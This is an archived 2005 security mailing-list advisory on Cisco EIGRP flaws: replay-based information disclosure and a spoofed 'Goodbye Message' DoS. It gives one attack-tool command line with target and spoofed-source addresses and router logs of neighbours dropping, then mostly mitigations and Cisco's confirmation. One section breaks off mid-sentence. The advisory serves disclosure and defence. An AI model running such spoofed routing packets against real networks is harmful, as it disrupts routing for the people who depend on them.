

# [NEWS] Authenticated EIGRP DoS and Information Disclosure

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00058.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 20 Dec 2005 16:05:28 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Authenticated EIGRP DoS and Information Disclosure

---

## SUMMARY

" <[http://www.cisco.com/univercd/cc/td/doc/cisintwk/ito\\_doc/en\\_igrp.htm](http://www.cisco.com/univercd/cc/td/doc/cisintwk/ito_doc/en_igrp.htm)>  
The Enhanced Interior Gateway Routing Protocol (EIGRP) represents an evolution from its predecessor IGRP (refer to Chapter 42, "Interior Gateway Routing Protocol"). This evolution resulted from changes in networking and the demands of diverse, large-scale internetworks. Enhanced IGRP integrates the capabilities of link-state protocols into distance vector protocols."

By sniffing information from EIGRP Authentication, attackers can gain information about the routers. By crafting special requests attackers can cause a DoS on EIGRP routers.

## DETAILS

Vulnerable Systems:  
\* EIGRP version 1.2

Information Disclosure:  
>From experiments with capturing and replaying back at the router a variety



## [NEWS] Authenticated EIGRP DoS and Information Disclosure

DoS:

In the initial generator testing stage we have successfully reproduced the known DoS against EIGRP discovered by FX and described at <http://www.merit.edu/mail.archives/nanog/2002-12/msg00414.html> Cisco IOS EIGRP Network DoS. This attack is canned in the generator using the `---hellodos` flag. The testing network was completely brought down due to the ARP storm.

Moving further, we have discovered a novel selective single peer – directed DoS attack employing the EIGRP "Goodbye Message". A goodbye message is sent when an EIGRP routing process is shutting down to tell the neighbors about the impending topology change to speed up the convergence. This feature is supported in Cisco IOS Releases later than 12.3(2), 12.3(3)B, and 12.3(2)T. A spoofed "goodbye message" can be sent to a peer claiming that it's neighbor is down, thus breaking the neighborhood:

```
arhontus #/eigrp.pl ---ipgoodbye 192.168.66.202 ---as 65534 ---source
192.168.66.191
469573: Aug 16 2005 03:08:11.773 GMT: %DUAL-5-NBRCHANGE: IP-EIGRP(0)
65534: Neighbor 192.168.66.111 (Ethernet0/0) is up: new adjacency
c2611#sh ip eigrp neigh
IP-EIGRP neighbors for process 65534
H Address Interface Hold Uptime SRTT RTO Q
Seq
(sec)
(ms) Cnt Num
2 192.168.66.111 Et0/0 13 00:01:08 1 5000
1 0
0 192.168.30.191 Se0/0 12 00:05:06 1 4500
0 198
1 192.168.66.191 Et0/0 13 00:05:14 201 1206
0 199

469574: Aug 16 2005 03:09:31.299 GMT: %DUAL-5-NBRCHANGE: IP-EIGRP(0)
65534: Neighbor 192.168.66.111 (Ethernet0/0) is down: retry limit exceeded
c2611#
469575: Aug 16 2005 03:09:32.818 GMT: %DUAL-5-NBRCHANGE: IP-EIGRP(0)
65534: Neighbor 192.168.66.111 (Ethernet0/0) is up: new adjacency
c2611#
469576: Aug 16 2005 03:09:56.277 GMT: %DUAL-5-NBRCHANGE: IP-EIGRP(0)
65534: Neighbor 192.168.66.191 (Ethernet0/0) is down: Peer goodbye
received
c2611#
469577: Aug 16 2005 03:09:59.283 GMT: %DUAL-5-NBRCHANGE: IP-EIGRP(0)
65534: Neighbor 192.168.66.191 (Ethernet0/0) is down: Peer goodbye
received
469578: Aug 16 2005 03:09:59.868 GMT: %DUAL-5-NBRCHANGE: IP-EIGRP(0)
65534: Neighbor 192.168.66.191 (Ethernet0/0) is up: new adjacency
c2611#
469579: Aug 16 2005 03:10:02.288 GMT: %DUAL-5-NBRCHANGE: IP-EIGRP(0)
65534: Neighbor 192.168.66.191 (Ethernet0/0) is down: Peer goodbye
```

## [NEWS] Authenticated EIGRP DoS and Information Disclosure

```
received
c2611#
469580: Aug 16 2005 03:10:04.676 GMT: %DUAL-5-NBRCHANGE: IP-EIGRP(0)
65534: Neighbor 192.168.66.191 (Ethernet0/0) is up: new adjacency
469581: Aug 16 2005 03:10:05.289 GMT: %DUAL-5-NBRCHANGE: IP-EIGRP(0)
65534: Neighbor 192.168.66.191 (Ethernet0/0) is down: Peer goodbye
received
c2611#
469582: Aug 16 2005 03:10:08.290 GMT: %DUAL-5-NBRCHANGE: IP-EIGRP(0)
65534: Neighbor 192.168.66.191 (Ethernet0/0) is down: Peer goodbye
received
```

```
c2611#sh ip eigrp neigh
IP-EIGRP neighbors for process 65534
H Address Interface Hold Uptime SRTT RTO Q
Seq
```

```
(sec) (ms) Cnt Num
0 192.168.30.191 Se0/0 14 00:09:50 1 4500
0 286
```

This selective neighborhood breaking can be used for other purposes, than DoS. Re-initiating the EIGRP handshake helps a sniffing attacker to find information about the EIGRP routing domain topology. Possessing such information, a skilled attacker can selectively break the neighborhood to redirect traffic the way he wants.

Of course, on an unprotected EIGRP domain there is a much simpler way of traffic redirection, which is either directly injecting the routes using our packet generator or establishing a fake neighborhood and supplying metric parameters to the legitimate peers, which would lead DUAL to favor the fake neighbor.

### Workarounds:

Ensuring that the infrastructure devices are protected, by both local and remote access means will help mitigate these vulnerabilities.

### Blocking access to the core infrastructure:

Although it is often difficult to block traffic transiting your network, it is possible to identify traffic which should never be allowed to target your infrastructure devices and block that traffic at the border of your network.

Infrastructure access control lists (ACLs) are considered a network security best practice and should be considered as a long-term addition to good network security as well as a workaround for this specific vulnerability.

### The white paper entitled:

"Protecting Your Core: Infrastructure Protection Access Control Lists", available at <http://www.cisco.com/warp/public/707/iacl.html>

## [NEWS] Authenticated EIGRP DoS and Information Disclosure

<http://www.cisco.com/warp/public/707/iacl.html>, presents guidelines and recommended deployment techniques for infrastructure protection ACLs. Exceptions would include any devices which have a legitimate reason to access your infrastructure (for example, BGP peers, NTP sources, DNS servers, and so on). All other traffic must be able to traverse your network without terminating on any of your devices.

Configure anti-spoofing measures on the network edge

In order for an adversary to use the attack vector described in this advisory, it must send packets with the source IP address equal to one of the IP addresses in the subnet of the EIGRP neighbors. You can block spoofed packets either using the Unicast Reverse Path Forwarding (uRPF) feature or by using access control lists (ACLs).

By enabling uRPF, all spoofed packets will be dropped at the first device.

To enable uRPF, use the following commands:

```
router(config)#ip cef
router(config)#ip verify unicast reverse-path
```

The configuration guide, available at:

<[http://www.cisco.com/en/US/products/sw/iosswrel/ps1835/products\\_configuration\\_guide\\_chapter09186a00804b046f](http://www.cisco.com/en/US/products/sw/iosswrel/ps1835/products_configuration_guide_chapter09186a00804b046f)

Configuring Unicast Reverse Path Forwarding

presents guidelines on how uRPF works and how to configure it in various scenarios. This is especially important if you are using asymmetric routing.

ACLs should also be deployed as close to the edge as possible. Unlike uRPF, you must specify the exact IP range that is permitted. Specifying which addresses should be blocked is not the optimal solution because it tends to be harder to maintain.

Caution: In order for anti-spoofing measures to be effective, they must be deployed at least one hop away from the devices which are being protected. Ideally, they will be deployed at the network edge facing your customers.

802.1x based port security:

To prevent unauthorized local access to the routing subnets that the EIGRP neighbor relationships exist on, deploying 802.1x on the router and switches (in 802.1x mutual authentication) would help mitigate any local attacks.

For further information on how to configure 802.1x and products supported refer to:

<[http://www.cisco.com/univercd/cc/td/doc/product/software/ios123/123newft/123limit/123x/123xa/gt\\_802\\_1.htm#wp](http://www.cisco.com/univercd/cc/td/doc/product/software/ios123/123newft/123limit/123x/123xa/gt_802_1.htm#wp)

VPN Access Control Using 802.1X Authentication

Static defined peers:

If neighbors are explicitly configured post integration of CSCdm81710 (IOS versions 12.0(7)T or later), this acts as a workaround for these vulnerabilities. Pre CSCdm81710, explicit neighbors are still subject to

## [NEWS] Authenticated EIGRP DoS and Information Disclosure

DoS attacks of this nature.

Example post CSCdm81710:

```
router eigrp 1
network 192.168.1.0
network 192.168.66.0
neighbor 192.168.66.2 FastEthernet0/0
neighbor 192.168.66.1 FastEthernet0/0
no auto-summary
```

For further information on Static defined EIGRP neighbors refer to:

<[http://www.cisco.com/univercd/cc/td/doc/product/software/ios123/123tcr/123tip2r/ip2\\_n1gt.htm#wp1110498](http://www.cisco.com/univercd/cc/td/doc/product/software/ios123/123tcr/123tip2r/ip2_n1gt.htm#wp1110498)>  
ip authentication mode eig

MD5 Neighbor Authentication:

Enabling MD5, will mitigate remote malicious tear down of neighbors, by the methods described within this document.

For further information on MD5 EIGRP Neighbor Authentication refer to:

<[http://www.cisco.com/univercd/cc/td/doc/product/software/ios123/123tcr/123tip2r/ip2\\_i1gt.htm#wp1106697](http://www.cisco.com/univercd/cc/td/doc/product/software/ios123/123tcr/123tip2r/ip2_i1gt.htm#wp1106697)>  
ip authentication mode eigrp

Vendor Status:

"Cisco Response:

This is Cisco PSIRTs' response to the statements made from Arhont Ltd. Information Security in their messages:

- \* Unauthenticated EIGRP DoS.
- \* Authenticated EIGRP DoS / Information leak.

posted on the 2005 December 19th 17:00 UTC (GMT).

The original emails are available at:

- \* Unauthenticated EIGRP DoS:  
<<http://lists.grok.org.uk/pipermail/full-disclosure/2005-December/040330.html>>  
<http://lists.grok.org.uk/pipermail/full-disclosure/2005-December/040330.html>
- \* Authenticated EIGRP DoS / Information leak:  
<<http://lists.grok.org.uk/pipermail/full-disclosure/2005-December/040332.html>>  
<http://lists.grok.org.uk/pipermail/full-disclosure/2005-December/040332.html>

Attached is a cleartext, PGP signed version of this same email.

Cisco confirms the statements made.

These issues are being tracked by two Cisco Bug IDs:

CSCsc13698 --- directed DoS attack employing the EIGRP "Goodbye Message"

## [NEWS] Authenticated EIGRP DoS and Information Disclosure

CSCsc13724 --- Authenticated EIGRP DoS attack/Information Leakage

We would like to thank Arhont Ltd. Information Security, especially Konstantin V. Gavrilenko and Andrew A. Vladimirov for reporting these issues to us.

We greatly appreciate the opportunity to work with researchers on security vulnerabilities, and welcome the opportunity to review and assist in product reports.

Additional Information:

Posting: Unauthenticated EIGRP DoS:

Original Posting:

<http://lists.grok.org.uk/pipermail/full-disclosure/2005-December/040330.html>  
<http://lists.grok.org.uk/pipermail/full-disclosure/2005-December/040330.html>

Cisco confirms the reports made by Arhont Ltd.

Within this article two separate vulnerabilities are raised:

a) EIGRP ARP DoS attacks

Reference is drawn to "

<http://www.merit.edu/mail.archives/nanog/2002-12/msg00414.html>>

<http://www.merit.edu/mail.archives/nanog/2002-12/msg00414.html>, which discusses EIGRP ARP DoS attacks. This topic has been previously addressed by Cisco. Please refer to:

[http://www.cisco.com/en/US/tech/tk365/technologies\\_security\\_notice09186a008011c5e1.html](http://www.cisco.com/en/US/tech/tk365/technologies_security_notice09186a008011c5e1.html)> Configuring Unicast Reverse Path Forwarding

This is documented in Cisco Bug ID: "CSCsc15285 --- EIGRP ARP DoS" No additional information is available at this time.

b) Directed DoS attack employing the EIGRP "Goodbye Message" The EIGRP implementation in all versions of IOS is vulnerable to a denial of service on selective neighbors, if it receives a spoofed neighbor announcement with either mismatched "k" values, or "Goodbye Message" TLV.

Forged packets can be injected into a network from a location outside its boundary so that they are trusted as authentic by the receiving host, thus resulting in a failure of integrity. Such packets could result in routing neighbor relationships being torn down and reformed.

Repeated exploitation could result in a sustained DoS attack. From a position within the network where it is possible to receive the return traffic or create neighbor establishments (but not necessarily in a position that is directly in the traffic path), a greater range of violations is possible. For example, the contents of a message could be diverted, modified, and then returned to the traffic flow again, causing a failure of integrity and a possible failure of confidentiality.

EIGRP can operate in two modes – Unicast Hellos: Multicast Hellos.

## [NEWS] Authenticated EIGRP DoS and Information Disclosure

IOS versions 12.0(7)T and later, unicast hellos will be rejected unless explicitly configured in the neighbor statements. Once static neighbors are configured, IOS will only accept hello packets from defined neighbors.

Cisco is tracking this report as part of: CSCsc13698 -- directed DoS attack employing the EIGRP "Goodbye Message"

Cisco recommends protecting from forged source neighbor packets leveraging MD5 authentication and/or infrastructure protection schemes.

Within the workarounds section the following will apply:

- \* Static configured EIGRP neighbors (IOS versions 12.0(7)T and later)
- \* Blocking access to the core infrastructure
- \* Configure anti-spoofing measures on the network edge
- \* 802.1x based port security
- \* MD5 Neighbor Authentication

Posting: Authenticated EIGRP DoS/Information leak:

Original Posting:

<<http://lists.grok.org.uk/pipermail/full-disclosure/2005-December/040332.html>>  
<http://lists.grok.org.uk/pipermail/full-disclosure/2005-December/040332.html>

Cisco confirms the reports made by Arhont Ltd.

>From a position within an EIGRP authenticated AS where it is possible to receive/listen to EIGRP Hello Updates, it is possible, with reply attacks, to forge illegitimate hello packets in an authenticated AS. This can result in additional information about the EIGRP domain being collected from the triggered UPDATE packets, by the malicious device. This could also result in carrying out similar DoS attacks as per "CSCsc15285 -- EIGRP ARP DoS", however within an authenticated AS.

Cisco recommends proper securing of the IGP routers. Mechanisms such as port security or 802.1x may be used to ensure only valid routing devices are connected to the common segments.

Cisco is tracking this report as part of:

CSCsc13724 -- Authenticated EIGRP DoS attack/Information Leakage

Within the workarounds Section the following will apply:

- \* Blocking access to the core infrastructure
- \* 802.1x based port security"

Disclosure Timeline:

10/10/05 Sent to PSIRT

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:mlists@xxxxxxxxxx>> Andrew A.

[NEWS] Authenticated EIGRP DoS and Information Disclosure

Vladimirov.

The original article can be found at:

<<http://lists.grok.org.uk/pipermail/full-disclosure/2005-December/040330.html>>

<http://lists.grok.org.uk/pipermail/full-disclosure/2005-December/040330.html>.

<<http://lists.grok.org.uk/pipermail/full-disclosure/2005-December/040332.html>>

<http://lists.grok.org.uk/pipermail/full-disclosure/2005-December/040332.html>

Cisco Response:

<[http://www.cisco.com/en/US/tech/tk365/technologies\\_security\\_notice09186a008011c5e1.html](http://www.cisco.com/en/US/tech/tk365/technologies_security_notice09186a008011c5e1.html)>

[http://www.cisco.com/en/US/tech/tk365/technologies\\_security\\_notice09186a008011c5e1.html](http://www.cisco.com/en/US/tech/tk365/technologies_security_notice09186a008011c5e1.html)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

- Prev by Date: [\[UNIX\] Acidcat ASP CMS Multiple Vulnerabilities](#)
- Next by Date: [\[TOOL\] EIGRP Tools](#)
- Previous by thread: [\[UNIX\] Acidcat ASP CMS Multiple Vulnerabilities](#)
- Next by thread: [\[TOOL\] EIGRP Tools](#)
- Index(es):
  - ◆ [Date](#)
  - ◆ [Thread](#)